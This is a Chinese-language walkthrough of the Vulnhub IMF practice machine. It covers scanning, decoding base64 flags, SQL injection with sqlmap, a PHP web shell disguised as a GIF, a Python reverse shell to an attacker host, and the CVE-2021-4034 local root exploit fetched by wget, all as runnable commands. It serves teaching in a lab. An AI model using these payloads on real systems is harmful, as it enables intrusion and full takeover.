本篇文章旨在为网络安全渗透测试靶机教学。通过阅读本文,读者将能够对渗透Vulnhub系列IMF靶机有一定的了解
一、信息收集阶段
靶机下载地址:https://www.vulnhub.com/entry/imf-1,162/
因为靶机为本地部署虚拟机网段,查看dhcp地址池设置。得到信息IP为:192.168.220.0/24
1、扫描网段,发现主机
nmap -sP 192.168.220.0/24
# 快速验证网段存活主机
2、扫描主机详细信息
nmap -sT -sV -sC 192.168.220.133
#-sT 会尝试与目标主机的每个端口建立完整的 TCP 连接
#-sV 尝试确定每个打开端口上运行的服务的版本
#-sC 使用默认的脚本扫描(Script Scanning)可以帮助发现更多的信息,如漏洞、配置错误等
3、扫描80端口web目录
dirb http://192.168.220.133
4、浏览网站
http://192.168.220.133/
username:rmichaels akeith estone
ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ #base64解码
flag2{aW1mYWRtaW5pc3RyYXRvcg==} #解码结果
aW1mYWRtaW5pc3RyYXRvcg== #再把flag2进行base64解码
imfadministrator #解码结果
http://192.168.220.133/imfadministrator/
5、登录后台
http://192.168.220.133/imfadministrator/

二、渗透阶段
1、burpsuite爆破后台
http://192.168.220.133/imfadministrator/
2、php未验证输入绕过
flag3{Y29udGludWVUT2Ntcw==} #base64解码
continueTOcms #解码结果
3、登录管理后台
username:rmichaels
passwd:continueTOcms
4、sqlmap爆破
sqlmap -u 'http://192.168.220.133/imfadministrator/cms.php?pagename=disavowlist' -p 'pagename' --dbms 'mysql' --level 3 --cookie 'PHPSESSID=j540ks96b3fb6ksde74tcecec2' --dump
dXBsb2Fkcjk0Mi5waHA=
5、访问uploadr942.php
http://192.168.220.133/imfadministrator/uploadr942.php
6、上传一个图片马
echo 'GIF89a <?php $cmd=$_GET['cmd']; echo `$cmd`; ?>' > cmd.gif
192.168.220.133/imfadministrator/uploads/a5d38eb4e70b .gif
http://192.168.220.133/imfadministrator/uploads/9065f683031f.gif?cmd=id
7、查看文件
http://192.168.220.133/imfadministrator/uploads/9065f683031f.gif?cmd=ls
http://192.168.220.133/imfadministrator/uploads/9065f683031f.gif?cmd=cat%20flag5_abc123def.txt
YWdlbnRzZXJ2aWNlcw== #base64解码
agentservices #解码结果
8、使用python反弹shell
#攻击机
nc -lvnp 6666
#靶机
export RHOST="192.168.220.128";export RPORT=6666;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
三、提权阶段
1、信息收集
uname -a
lsb_release -a
2、下载exp
git clone https://github.com/arthepsy/CVE-2021-4034.git
3、python开启http微服务
python -m http.server 8088
4、靶机下载poc文件
wget 192.168.220.128:8088/cve-2021-4034-poc.c
gcc -o exp cve-2021-4034-poc.c
./exp

四、总结
首先通过信息收集(如端口扫描、目录枚举的源码审计)发现潜在信息泄露,接着利用SQL注入获取关键上传php信息,然后通过文件上传、命令注如(python3反弹shell),连接靶机,最后通过CVE-2021-4034漏洞获取root权限完成渗透